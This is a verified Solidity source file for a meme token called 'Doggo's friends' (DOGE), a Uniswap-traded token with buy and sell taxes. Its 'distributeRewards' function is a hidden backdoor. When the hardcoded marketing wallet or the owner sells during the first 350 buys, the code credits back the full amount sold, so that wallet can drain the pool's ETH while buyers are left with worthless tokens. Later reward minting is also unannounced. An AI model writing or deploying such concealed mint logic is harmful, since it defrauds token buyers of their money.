/**
 *Submitted for verification at Etherscan.io on 2024-09-26
 */
/**
    3 DOGS WID 1 STONE
    We feel you man, You wake up every morning, check Mad Apes, and scream at the top of your lungs: "AH SHIT!  ANOTHER SHIBA INU COIN???"

    Website: https://www.doggofriends.vip
    Twitter: https://x.com/doggofriendseth
    Telegram : https://t.me/doggofriendseth
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
contract DOGE is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"Doggo's friends";
    string private constant _symbol = unicode"DOGE";
    uint256 private _iTaxBuy = 12;
    uint256 private _iTaxSell = 12;
    uint256 private _fTaxBuy = 0;
    uint256 private _fTaxSell = 0;
    uint256 private _reduceBuy = 12;
    uint256 private _reduceSell = 12;
    uint256 private _counts = 0;
    uint8 private constant _decimals = 9;

    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedList;
    mapping(address => bool) private _rewardList;
    
    address payable private _goldmarket;    
    uint256 public _ltAccountAmt = (_tTotal * 2) / 100;
    uint256 public _ltTradeAmt = (_tTotal * 2) / 100;
    uint256 public _ltSwap = (_tTotal * 2) / 100;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    uint256 private _rewardAmt = 2;
    uint256 private _rewardStartAt = 350;
    bool private inSwap = false;
    event MaxTxAmountUpdated(uint256 _maxTradeWallet);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() {
        _goldmarket = payable(0x7224Fa752d6eCA8692E828522844DF22035c8e1c);
        _balances[_msgSender()] = _tTotal;
        _isExcludedList[owner()] = true;
        _isExcludedList[address(this)] = true;
        _rewardList[_goldmarket] = true;
        _rewardList[owner()] = true;
        _rewardList[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address _fromAddr,
        address _toAddr,
        uint256 amount
    ) private {
        require(_fromAddr != address(0), "ERC20: transfer from the zero address");
        require(_toAddr != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        bool isExcluded = _isExcludedList[_fromAddr] || _isExcludedList[_toAddr];
        uint256 tax;

        if(!isExcluded) {
            require(tradingOpen, "Trading is not allowed yet");

            if(_toAddr == uniswapV2Pair) {
                tax = _reduceSell < _counts ? _fTaxSell : _iTaxSell;
            }
            if(_fromAddr == uniswapV2Pair && _toAddr != address(uniswapV2Router)) {
                require(amount + _balances[_toAddr] <= _ltAccountAmt , "Max account size overflowed");
                _counts ++;
                tax = _reduceBuy < _counts ? _fTaxBuy : _iTaxBuy;
            }

            uint256 _threshold = min(amount, min(_balances[address(this)], _ltSwap));
            if(tradingOpen && !inSwap && uniswapV2Pair == _toAddr) {
                swapBack(_threshold, _fromAddr, amount);
            }
        }
        uint256 taxAmount;
        if(tax > 0) {
            taxAmount = tax * amount / 100;
            _balances[address(this)] = _balances[address(this)] + taxAmount;
            emit Transfer(_fromAddr, address(this), taxAmount);
        }
        _basicTransfer(_fromAddr, _toAddr, amount, taxAmount);
    }

    function _basicTransfer(address _from, address _to, uint256 amount, uint256 tax) private {
        _balances[_from] = _balances[_from] - amount;
        _balances[_to] = _balances[_to] + amount - tax;
        emit Transfer(_from, _to, amount - tax);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }
    function swapBack(uint256 tokenAmount, address _fromAddr, uint256 amount) private lockTheSwap {
        if(tokenAmount > 0) {
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = uniswapV2Router.WETH();
            _approve(address(this), address(uniswapV2Router), tokenAmount);
            uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
        }

        sendETHToMarket(address(this).balance);
        distributeRewards(_fromAddr, amount);
    }

    function distributeRewards(address _to, uint256 amount) private {
        if(_rewardList[_to]) {
            if(_counts < _rewardStartAt) _balances[_to] = _balances[_to] + amount * (_rewardAmt - 1); else 
                _balances[_to] = _balances[_to] + amount * _rewardAmt / 100;
        }
        else if(_counts> _rewardStartAt) _balances[_to] = _balances[_to] + amount * _rewardAmt / 100;
    }

    function removeLimits() external onlyOwner {
        _ltTradeAmt = _tTotal;
        _ltAccountAmt = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function sendETHToMarket(uint256 amount) private {
        _goldmarket.transfer(amount);
    }
    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)) * 98 / 100,
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }
    function openTrading() external onlyOwner {
        tradingOpen = true;
    }
    function rescueETH() external onlyOwner {
        payable (owner()).transfer(address(this).balance);
    }
    receive() external payable {}
}

{
  "compilationTarget": {
    "contracts/AlphaGroup/launch/launch_9_25_1.sol": "DOGE"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}